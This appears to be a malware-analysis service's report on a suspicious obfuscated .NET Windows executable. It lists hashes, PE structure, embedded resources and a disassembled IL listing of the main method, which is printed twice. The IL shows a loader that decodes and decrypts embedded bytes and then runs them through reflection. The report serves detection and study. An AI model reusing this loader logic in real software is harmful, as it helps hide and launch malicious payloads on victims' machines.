Suspicious
Suspect

95df218dfd36eb75c1f6747fc800933b

PE Executable
MD5: 95df218dfd36eb75c1f6747fc800933b
Size: 1.11 MB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
MD5 95df218dfd36eb75c1f6747fc800933b
Sha1 10e38389f16b7bbc128addb9332b3c56054c8840
Sha256 fa306920cbb1a1497f22d5cfba30c4bd5a36ec470889481ee203fe080e0acded
Sha384 dfa524d055ddbf4b21de2556088f37efbf2c60df0b00041aece6a3cdbdfd0f576dfe3f806a6b29b96c5c38f4e82a448d
Sha512 a4548bee09ac9450a3c67a6e1b50b3cc3f9acb450362a4a3feda730abb01c9c8dcaddb820da55886cf4fe661922d9943e7031d1bf0c88636441240fbe626b28b
SSDeep 24576:Mq3nv8dydlhCS4bNHKH848AmXybH350qTno0Gc:lXvAydlLAHMNmK5fj
TLSH 4635E1238C136702CB5C173EC226B8A873F54D1F5211D77F2FEE92ED9A95A485ACA0C5
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
95df218dfd36eb75c1f6747fc800933b
.Net Resources
5mjQAi7opr.Resources.resources
5mjQAi7opr.g.resources
efb55d36e1e140.Resources.resources
0fe2e1a10
[NBF]root.Data
0fe2e1a11
[NBF]root.Data
0fe2e1a110
[NBF]root.Data
0fe2e1a111
[NBF]root.Data
0fe2e1a112
[NBF]root.Data
0fe2e1a113
[NBF]root.Data
0fe2e1a114
[NBF]root.Data
0fe2e1a115
[NBF]root.Data
0fe2e1a116
[NBF]root.Data
0fe2e1a117
[NBF]root.Data
0fe2e1a118
[NBF]root.Data
0fe2e1a119
[NBF]root.Data
0fe2e1a12
[NBF]root.Data
0fe2e1a120
[NBF]root.Data
0fe2e1a121
[NBF]root.Data
0fe2e1a122
[NBF]root.Data
0fe2e1a13
[NBF]root.Data
0fe2e1a14
[NBF]root.Data
0fe2e1a15
[NBF]root.Data
0fe2e1a16
[NBF]root.Data
0fe2e1a17
[NBF]root.Data
0fe2e1a18
[NBF]root.Data
0fe2e1a19
[NBF]root.Data
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2
Name Value
Module Name
5mjQAi7opr
Full Name
5mjQAi7opr
EntryPoint
System.Void 4ztGbkF19nfL.oc7Xp::1jaJs8()
Scope Name
5mjQAi7opr
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
5mjQAi7opr
Assembly Version
24.21.5.4
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.6
Total Strings
0
Main Method
System.Void 4ztGbkF19nfL.oc7Xp::1jaJs8()
Main IL Instruction Count
268
Main IL 
ldc.i4.1 <null>
stloc.s V_23
ldloc.s V_23
switch dnlib.DotNet.Emit.Instruction[]
nop <null>
newobj System.Void System.Windows.Forms.Form::.ctor()
stloc.0 <null>
newobj System.Void System.Collections.Generic.List`1<System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>>::.ctor()
stloc.3 <null>
ldloc.3 <null>
ldsfld System.Func`2<System.Int32,System.Boolean> 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::Yk0iw9aSWnj28G
brfalse.s IL_003A: ldsfld 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::6eoDiS0y
ldsfld System.Func`2<System.Int32,System.Boolean> 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::Yk0iw9aSWnj28G
br.s IL_0050: ldsfld System.Func`2<System.Int32,System.Int32> 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::gDj1to2YG0f
ldsfld 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::6eoDiS0y
ldftn System.Boolean 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::ky3WPgm41(System.Int32)
newobj System.Void System.Func`2<System.Int32,System.Boolean>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`2<System.Int32,System.Boolean> 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::Yk0iw9aSWnj28G
ldsfld System.Func`2<System.Int32,System.Int32> 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::gDj1to2YG0f
brfalse.s IL_005E: ldsfld 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::6eoDiS0y
ldsfld System.Func`2<System.Int32,System.Int32> 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::gDj1to2YG0f
br.s IL_0074: call System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>> System.Tuple::Create<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>(System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>)
ldsfld 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::6eoDiS0y
ldftn System.Int32 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::ea4W8Xgq(System.Int32)
newobj System.Void System.Func`2<System.Int32,System.Int32>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`2<System.Int32,System.Int32> 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::gDj1to2YG0f
call System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>> System.Tuple::Create<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>(System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>)
callvirt System.Void System.Collections.Generic.List`1<System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>>::Add(System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>)
nop <null>
ldloc.3 <null>
stloc.1 <null>
ldc.i4.0 <null>
stloc.2 <null>
ldc.i4.1 <null>
stloc.s V_4
ldc.i4.4 <null>
stloc.s V_23
br IL_0003: ldloc.s V_23
nop <null>
br.s IL_0091: br.s IL_0093
br.s IL_0093: ldc.i4.6
ldc.i4.6 <null>
stloc.s V_25
ldloc.s V_25
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_00C7: ldloc.1
ldloc.1 <null>
callvirt System.Collections.Generic.List`1/Enumerator<System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>> System.Collections.Generic.List`1<System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>>::GetEnumerator()
stloc.s V_5
ldc.i4.1 <null>
stloc.s V_25
br.s IL_0096: ldloc.s V_25
ldloca.s V_5
call System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>> System.Collections.Generic.List`1/Enumerator<System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>>::get_Current()
stloc.s V_6
ldloc.s V_6
callvirt System.Func`2<System.Int32,System.Boolean> System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>::get_Item1()
ldloc.s V_4
callvirt System.Boolean System.Func`2<System.Int32,System.Boolean>::Invoke(System.Int32)
stloc.s V_7
ldloc.s V_7
brfalse.s IL_00F7: ldc.i4.7
ldc.i4.s 9
stloc.s V_25
br.s IL_0096: ldloc.s V_25
ldc.i4.7 <null>
br.s IL_00F3: stloc.s V_25
ldloc.2 <null>
ldloc.s V_6
callvirt System.Func`2<System.Int32,System.Int32> System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>::get_Item2()
ldloc.s V_4
callvirt System.Int32 System.Func`2<System.Int32,System.Int32>::Invoke(System.Int32)
add.ovf <null>
stloc.2 <null>
ldc.i4.7 <null>
stloc.s V_25
br.s IL_0096: ldloc.s V_25
nop <null>
ldc.i4.1 <null>
stloc.s V_25
br IL_0096: ldloc.s V_25
ldloca.s V_5
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>>::MoveNext()
stloc.s V_8
ldloc.s V_8
brtrue.s IL_012E: ldc.i4.2
ldc.i4.8 <null>
stloc.s V_25
br IL_0096: ldloc.s V_25
ldc.i4.2 <null>
br.s IL_0127: stloc.s V_25
leave.s IL_0164: br.s IL_0166
br.s IL_0135: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_27
ldloc.s V_27
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_0155: ldloca.s V_5
ldloca.s V_5
constrained. System.Collections.Generic.List`1/Enumerator<System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>>
callvirt System.Void System.IDisposable::Dispose()
nop <null>
endfinally <null>
br.s IL_0166: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_29
ldloc.s V_29
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_018A: ldloc.s V_4
ldloc.s V_4
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_4
ldloc.s V_4
ldc.i4.s 10
ble IL_008E: nop
ldc.i4.2 <null>
stloc.s V_29
br.s IL_0169: ldloc.s V_29
nop <null>
br.s IL_01A1: br.s IL_01A3
br.s IL_01A3: ldc.i4.s 9
ldc.i4.s 9
stloc.s V_31
ldloc.s V_31
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_01DC: nop
nop <null>
ldc.i4.0 <null>
call System.Int64 System.GC::GetTotalMemory(System.Boolean)
ldc.i4 104857600
conv.i8 <null>
cgt <null>
stloc.s V_11
ldc.r8 25
call System.Double System.Math::Floor(System.Double)
conv.ovf.i4 <null>
stloc.s V_12
ldc.i4.4 <null>
stloc.s V_31
br.s IL_01A7: ldloc.s V_31
ldloc.s V_12
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newarr System.Object
stloc.s V_13
nop <null>
ldc.i4.s 27
ldc.i8 12
ldc.i4 1407346585
ldc.i4.4 <null>
call System.String 4YimyjF9g2gJ5.6m_NP5iek/7nyConL5.ms1T2kJbP8_jce/3Loqy5CgXcx0.1eyTW::5wdWpF3g1sT(System.Char,System.Int64,System.Int32,System.Int32)
call System.Byte[] yi9WG8.Jgb8_w7G::2Fimt0PbrKr3(System.String)
stloc.s V_14
ldc.i4.2 <null>
stloc.s V_31
br IL_01A7: ldloc.s V_31
ldloc.s V_9
call System.Drawing.Rectangle System.Windows.Forms.SystemInformation::get_VirtualScreen()
stloc.s V_20
ldloca.s V_20
call System.Int32 System.Drawing.Rectangle::get_Width()
mul.ovf <null>
stloc.s V_15
ldloc.s V_14
castclass System.Byte[]
ldloc.s V_15
call System.Byte[] Ymq32DbpNpb.Jos87R::Pip70rLkH1aig(System.Byte[],System.Int32)
stloc.s V_16
ldc.i4.s 10
stloc.s V_31
br IL_01A7: ldloc.s V_31
ldloc.s V_13
ldloc.s V_12
ldc.i4.1 <null>
sub.ovf <null>
ldloc.s V_16
stelem.ref <null>
ldc.i4.1 <null>
ldc.i4.s 10
call 4ztGbkF19nfL.oc7Xp/Nqc01r.Ls7rw2fP 4ztGbkF19nfL.oc7Xp/Nqc01r.Ls7rw2fP::pt8B7(System.Int32,System.Int32)
callvirt 4ztGbkF19nfL.oc7Xp/Nqc01r.Ls7rw2fP 4ztGbkF19nfL.oc7Xp/Nqc01r.Ls7rw2fP::Ps6nxWy9d0Nfsx()
callvirt 4ztGbkF19nfL.oc7Xp/Nqc01r.Ls7rw2fP 4ztGbkF19nfL.oc7Xp/Nqc01r.Ls7rw2fP::4ceBs6Qm8ya()
callvirt System.Int32 4ztGbkF19nfL.oc7Xp/Nqc01r.Ls7rw2fP::qAo4B3psnKx80()
stloc.s V_17
ldc.i4.0 <null>
stloc.s V_31
br IL_01A7: ldloc.s V_31
ldtoken System.Reflection.Assembly
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stloc.s V_18
ldloc.s V_18
nop <null>
ldc.i4 1998322974
ldc.i4.s 31
ldc.i4.5 <null>
ldnull <null>
call System.String 4YimyjF9g2gJ5.6m_NP5iek/7nyConL5.ms1T2kJbP8_jce::8mcDRj3cp6yNLp(System.Int32,System.Byte,System.Int32,System.Reflection.Assembly)
nop <null>
ldc.i4.s 62
ldc.i8 8
ldc.i4 1407346577
ldc.i4.0 <null>
call System.String 4YimyjF9g2gJ5.6m_NP5iek/7nyConL5.ms1T2kJbP8_jce/3Loqy5CgXcx0.1eyTW::5wdWpF3g1sT(System.Char,System.Int64,System.Int32,System.Int32)
ldsfld System.String System.String::Empty
call System.String System.String::Replace(System.String,System.String)
ldc.i4.1 <null>
newarr System.Type
dup <null>
ldc.i4.0 <null>
ldtoken System.Byte[]
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stelem.ref <null>
callvirt System.Reflection.MethodInfo System.Type::GetMethod(System.String,System.Type[])
stloc.s V_19
ldc.i4.6 <null>
stloc.s V_31
br IL_01A7: ldloc.s V_31
ldloc.s V_13
ldloc.s V_12
ldc.i4.6 <null>
sub.ovf <null>
ldloc.s V_19
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldloc.s V_13
ldloc.s V_12
ldc.i4.1 <null>
sub.ovf <null>
ldelem.ref <null>
stelem.ref <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
stelem.ref <null>
ldc.i4.5 <null>
stloc.s V_31
br IL_01A7: ldloc.s V_31
ldloc.s V_13
ldloc.s V_12
call System.Void M_d4og7EYdw8.4Lfsre7S2Xao::rE_3W4bb1fNnp6(System.Object[],System.Int32)
nop <null>
leave.s IL_0338: br.s IL_033A
br.s IL_0326: br.s IL_0328
br.s IL_0328: dup
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_21
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0338: br.s IL_033A
br.s IL_033A: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_33
ldloc.s V_33
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_035A: nop
nop <null>
ret <null>
ldtoken System.Void 4ztGbkF19nfL.oc7Xp::1jaJs8()
pop <null>
ret <null>
Info
PE Detect: PeReader OK (file layout)
Module Name
5mjQAi7opr
Full Name
5mjQAi7opr
EntryPoint
System.Void 4ztGbkF19nfL.oc7Xp::1jaJs8()
Scope Name
5mjQAi7opr
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
5mjQAi7opr
Assembly Version
24.21.5.4
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.6
Total Strings
0
Main Method
System.Void 4ztGbkF19nfL.oc7Xp::1jaJs8()
Main IL Instruction Count
268
Main IL 
ldc.i4.1 <null>
stloc.s V_23
ldloc.s V_23
switch dnlib.DotNet.Emit.Instruction[]
nop <null>
newobj System.Void System.Windows.Forms.Form::.ctor()
stloc.0 <null>
newobj System.Void System.Collections.Generic.List`1<System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>>::.ctor()
stloc.3 <null>
ldloc.3 <null>
ldsfld System.Func`2<System.Int32,System.Boolean> 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::Yk0iw9aSWnj28G
brfalse.s IL_003A: ldsfld 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::6eoDiS0y
ldsfld System.Func`2<System.Int32,System.Boolean> 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::Yk0iw9aSWnj28G
br.s IL_0050: ldsfld System.Func`2<System.Int32,System.Int32> 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::gDj1to2YG0f
ldsfld 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::6eoDiS0y
ldftn System.Boolean 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::ky3WPgm41(System.Int32)
newobj System.Void System.Func`2<System.Int32,System.Boolean>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`2<System.Int32,System.Boolean> 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::Yk0iw9aSWnj28G
ldsfld System.Func`2<System.Int32,System.Int32> 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::gDj1to2YG0f
brfalse.s IL_005E: ldsfld 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::6eoDiS0y
ldsfld System.Func`2<System.Int32,System.Int32> 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::gDj1to2YG0f
br.s IL_0074: call System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>> System.Tuple::Create<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>(System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>)
ldsfld 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::6eoDiS0y
ldftn System.Int32 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::ea4W8Xgq(System.Int32)
newobj System.Void System.Func`2<System.Int32,System.Int32>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`2<System.Int32,System.Int32> 4ztGbkF19nfL.oc7Xp/jp9XAxa2d7Ky.2Zijym9Q3qEcS::gDj1to2YG0f
call System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>> System.Tuple::Create<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>(System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>)
callvirt System.Void System.Collections.Generic.List`1<System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>>::Add(System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>)
nop <null>
ldloc.3 <null>
stloc.1 <null>
ldc.i4.0 <null>
stloc.2 <null>
ldc.i4.1 <null>
stloc.s V_4
ldc.i4.4 <null>
stloc.s V_23
br IL_0003: ldloc.s V_23
nop <null>
br.s IL_0091: br.s IL_0093
br.s IL_0093: ldc.i4.6
ldc.i4.6 <null>
stloc.s V_25
ldloc.s V_25
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_00C7: ldloc.1
ldloc.1 <null>
callvirt System.Collections.Generic.List`1/Enumerator<System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>> System.Collections.Generic.List`1<System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>>::GetEnumerator()
stloc.s V_5
ldc.i4.1 <null>
stloc.s V_25
br.s IL_0096: ldloc.s V_25
ldloca.s V_5
call System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>> System.Collections.Generic.List`1/Enumerator<System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>>::get_Current()
stloc.s V_6
ldloc.s V_6
callvirt System.Func`2<System.Int32,System.Boolean> System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>::get_Item1()
ldloc.s V_4
callvirt System.Boolean System.Func`2<System.Int32,System.Boolean>::Invoke(System.Int32)
stloc.s V_7
ldloc.s V_7
brfalse.s IL_00F7: ldc.i4.7
ldc.i4.s 9
stloc.s V_25
br.s IL_0096: ldloc.s V_25
ldc.i4.7 <null>
br.s IL_00F3: stloc.s V_25
ldloc.2 <null>
ldloc.s V_6
callvirt System.Func`2<System.Int32,System.Int32> System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>::get_Item2()
ldloc.s V_4
callvirt System.Int32 System.Func`2<System.Int32,System.Int32>::Invoke(System.Int32)
add.ovf <null>
stloc.2 <null>
ldc.i4.7 <null>
stloc.s V_25
br.s IL_0096: ldloc.s V_25
nop <null>
ldc.i4.1 <null>
stloc.s V_25
br IL_0096: ldloc.s V_25
ldloca.s V_5
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>>::MoveNext()
stloc.s V_8
ldloc.s V_8
brtrue.s IL_012E: ldc.i4.2
ldc.i4.8 <null>
stloc.s V_25
br IL_0096: ldloc.s V_25
ldc.i4.2 <null>
br.s IL_0127: stloc.s V_25
leave.s IL_0164: br.s IL_0166
br.s IL_0135: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_27
ldloc.s V_27
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_0155: ldloca.s V_5
ldloca.s V_5
constrained. System.Collections.Generic.List`1/Enumerator<System.Tuple`2<System.Func`2<System.Int32,System.Boolean>,System.Func`2<System.Int32,System.Int32>>>
callvirt System.Void System.IDisposable::Dispose()
nop <null>
endfinally <null>
br.s IL_0166: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_29
ldloc.s V_29
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_018A: ldloc.s V_4
ldloc.s V_4
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_4
ldloc.s V_4
ldc.i4.s 10
ble IL_008E: nop
ldc.i4.2 <null>
stloc.s V_29
br.s IL_0169: ldloc.s V_29
nop <null>
br.s IL_01A1: br.s IL_01A3
br.s IL_01A3: ldc.i4.s 9
ldc.i4.s 9
stloc.s V_31
ldloc.s V_31
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_01DC: nop
nop <null>
ldc.i4.0 <null>
call System.Int64 System.GC::GetTotalMemory(System.Boolean)
ldc.i4 104857600
conv.i8 <null>
cgt <null>
stloc.s V_11
ldc.r8 25
call System.Double System.Math::Floor(System.Double)
conv.ovf.i4 <null>
stloc.s V_12
ldc.i4.4 <null>
stloc.s V_31
br.s IL_01A7: ldloc.s V_31
ldloc.s V_12
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newarr System.Object
stloc.s V_13
nop <null>
ldc.i4.s 27
ldc.i8 12
ldc.i4 1407346585
ldc.i4.4 <null>
call System.String 4YimyjF9g2gJ5.6m_NP5iek/7nyConL5.ms1T2kJbP8_jce/3Loqy5CgXcx0.1eyTW::5wdWpF3g1sT(System.Char,System.Int64,System.Int32,System.Int32)
call System.Byte[] yi9WG8.Jgb8_w7G::2Fimt0PbrKr3(System.String)
stloc.s V_14
ldc.i4.2 <null>
stloc.s V_31
br IL_01A7: ldloc.s V_31
ldloc.s V_9
call System.Drawing.Rectangle System.Windows.Forms.SystemInformation::get_VirtualScreen()
stloc.s V_20
ldloca.s V_20
call System.Int32 System.Drawing.Rectangle::get_Width()
mul.ovf <null>
stloc.s V_15
ldloc.s V_14
castclass System.Byte[]
ldloc.s V_15
call System.Byte[] Ymq32DbpNpb.Jos87R::Pip70rLkH1aig(System.Byte[],System.Int32)
stloc.s V_16
ldc.i4.s 10
stloc.s V_31
br IL_01A7: ldloc.s V_31
ldloc.s V_13
ldloc.s V_12
ldc.i4.1 <null>
sub.ovf <null>
ldloc.s V_16
stelem.ref <null>
ldc.i4.1 <null>
ldc.i4.s 10
call 4ztGbkF19nfL.oc7Xp/Nqc01r.Ls7rw2fP 4ztGbkF19nfL.oc7Xp/Nqc01r.Ls7rw2fP::pt8B7(System.Int32,System.Int32)
callvirt 4ztGbkF19nfL.oc7Xp/Nqc01r.Ls7rw2fP 4ztGbkF19nfL.oc7Xp/Nqc01r.Ls7rw2fP::Ps6nxWy9d0Nfsx()
callvirt 4ztGbkF19nfL.oc7Xp/Nqc01r.Ls7rw2fP 4ztGbkF19nfL.oc7Xp/Nqc01r.Ls7rw2fP::4ceBs6Qm8ya()
callvirt System.Int32 4ztGbkF19nfL.oc7Xp/Nqc01r.Ls7rw2fP::qAo4B3psnKx80()
stloc.s V_17
ldc.i4.0 <null>
stloc.s V_31
br IL_01A7: ldloc.s V_31
ldtoken System.Reflection.Assembly
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stloc.s V_18
ldloc.s V_18
nop <null>
ldc.i4 1998322974
ldc.i4.s 31
ldc.i4.5 <null>
ldnull <null>
call System.String 4YimyjF9g2gJ5.6m_NP5iek/7nyConL5.ms1T2kJbP8_jce::8mcDRj3cp6yNLp(System.Int32,System.Byte,System.Int32,System.Reflection.Assembly)
nop <null>
ldc.i4.s 62
ldc.i8 8
ldc.i4 1407346577
ldc.i4.0 <null>
call System.String 4YimyjF9g2gJ5.6m_NP5iek/7nyConL5.ms1T2kJbP8_jce/3Loqy5CgXcx0.1eyTW::5wdWpF3g1sT(System.Char,System.Int64,System.Int32,System.Int32)
ldsfld System.String System.String::Empty
call System.String System.String::Replace(System.String,System.String)
ldc.i4.1 <null>
newarr System.Type
dup <null>
ldc.i4.0 <null>
ldtoken System.Byte[]
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stelem.ref <null>
callvirt System.Reflection.MethodInfo System.Type::GetMethod(System.String,System.Type[])
stloc.s V_19
ldc.i4.6 <null>
stloc.s V_31
br IL_01A7: ldloc.s V_31
ldloc.s V_13
ldloc.s V_12
ldc.i4.6 <null>
sub.ovf <null>
ldloc.s V_19
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldloc.s V_13
ldloc.s V_12
ldc.i4.1 <null>
sub.ovf <null>
ldelem.ref <null>
stelem.ref <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
stelem.ref <null>
ldc.i4.5 <null>
stloc.s V_31
br IL_01A7: ldloc.s V_31
ldloc.s V_13
ldloc.s V_12
call System.Void M_d4og7EYdw8.4Lfsre7S2Xao::rE_3W4bb1fNnp6(System.Object[],System.Int32)
nop <null>
leave.s IL_0338: br.s IL_033A
br.s IL_0326: br.s IL_0328
br.s IL_0328: dup
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_21
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0338: br.s IL_033A
br.s IL_033A: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_33
ldloc.s V_33
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_035A: nop
nop <null>
ret <null>
ldtoken System.Void 4ztGbkF19nfL.oc7Xp::1jaJs8()
pop <null>
ret <null>
95df218dfd36eb75c1f6747fc800933b
.Net Resources
5mjQAi7opr.Resources.resources
5mjQAi7opr.g.resources
efb55d36e1e140.Resources.resources
0fe2e1a10
[NBF]root.Data
0fe2e1a11
[NBF]root.Data
0fe2e1a110
[NBF]root.Data
0fe2e1a111
[NBF]root.Data
0fe2e1a112
[NBF]root.Data
0fe2e1a113
[NBF]root.Data
0fe2e1a114
[NBF]root.Data
0fe2e1a115
[NBF]root.Data
0fe2e1a116
[NBF]root.Data
0fe2e1a117
[NBF]root.Data
0fe2e1a118
[NBF]root.Data
0fe2e1a119
[NBF]root.Data
0fe2e1a12
[NBF]root.Data
0fe2e1a120
[NBF]root.Data
0fe2e1a121
[NBF]root.Data
0fe2e1a122
[NBF]root.Data
0fe2e1a13
[NBF]root.Data
0fe2e1a14
[NBF]root.Data
0fe2e1a15
[NBF]root.Data
0fe2e1a16
[NBF]root.Data
0fe2e1a17
[NBF]root.Data
